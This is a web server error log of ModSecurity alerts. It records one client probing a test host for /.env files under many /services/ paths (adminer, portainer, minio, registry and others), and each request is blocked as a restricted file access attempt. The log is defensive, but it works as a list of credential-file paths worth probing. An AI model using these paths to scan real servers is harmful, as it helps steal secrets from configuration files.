[Mon Jul 28 20:46:18.421456 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhgAAAAQ&quot;]
[Mon Jul 28 20:46:18.421659 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhgAAAAQ&quot;]
[Mon Jul 28 20:46:18.421827 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhgAAAAQ&quot;]
[Mon Jul 28 20:46:18.443985 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/adminer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhwAAAAQ&quot;]
[Mon Jul 28 20:46:18.444157 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhwAAAAQ&quot;]
[Mon Jul 28 20:46:18.444334 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/adminer/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNhwAAAAQ&quot;]
[Mon Jul 28 20:46:18.466536 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/deployment-agent/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiAAAAAQ&quot;]
[Mon Jul 28 20:46:18.466727 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiAAAAAQ&quot;]
[Mon Jul 28 20:46:18.466878 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/deployment-agent/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiAAAAAQ&quot;]
[Mon Jul 28 20:46:18.488996 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/documents/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiQAAAAQ&quot;]
[Mon Jul 28 20:46:18.489167 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiQAAAAQ&quot;]
[Mon Jul 28 20:46:18.489324 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/documents/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiQAAAAQ&quot;]
[Mon Jul 28 20:46:18.511504 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/graylog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNigAAAAQ&quot;]
[Mon Jul 28 20:46:18.511694 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNigAAAAQ&quot;]
[Mon Jul 28 20:46:18.511858 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/graylog/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNigAAAAQ&quot;]
[Mon Jul 28 20:46:18.534145 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/jaeger/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiwAAAAQ&quot;]
[Mon Jul 28 20:46:18.534330 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiwAAAAQ&quot;]
[Mon Jul 28 20:46:18.534540 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/jaeger/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNiwAAAAQ&quot;]
[Mon Jul 28 20:46:18.556535 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/minio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjAAAAAQ&quot;]
[Mon Jul 28 20:46:18.556711 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjAAAAAQ&quot;]
[Mon Jul 28 20:46:18.556884 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjAAAAAQ&quot;]
[Mon Jul 28 20:46:18.579046 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/monitoring/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjQAAAAQ&quot;]
[Mon Jul 28 20:46:18.579220 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjQAAAAQ&quot;]
[Mon Jul 28 20:46:18.579396 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjQAAAAQ&quot;]
[Mon Jul 28 20:46:18.601502 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/portainer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjgAAAAQ&quot;]
[Mon Jul 28 20:46:18.601670 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjgAAAAQ&quot;]
[Mon Jul 28 20:46:18.601856 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjgAAAAQ&quot;]
[Mon Jul 28 20:46:18.624033 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/redis-commander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjwAAAAQ&quot;]
[Mon Jul 28 20:46:18.624225 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjwAAAAQ&quot;]
[Mon Jul 28 20:46:18.624387 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNjwAAAAQ&quot;]
[Mon Jul 28 20:46:18.646674 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/registry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkAAAAAQ&quot;]
[Mon Jul 28 20:46:18.646855 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkAAAAAQ&quot;]
[Mon Jul 28 20:46:18.647015 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aIfFeuXeAg5fi4n6U5fNkAAAAAQ&quot;]
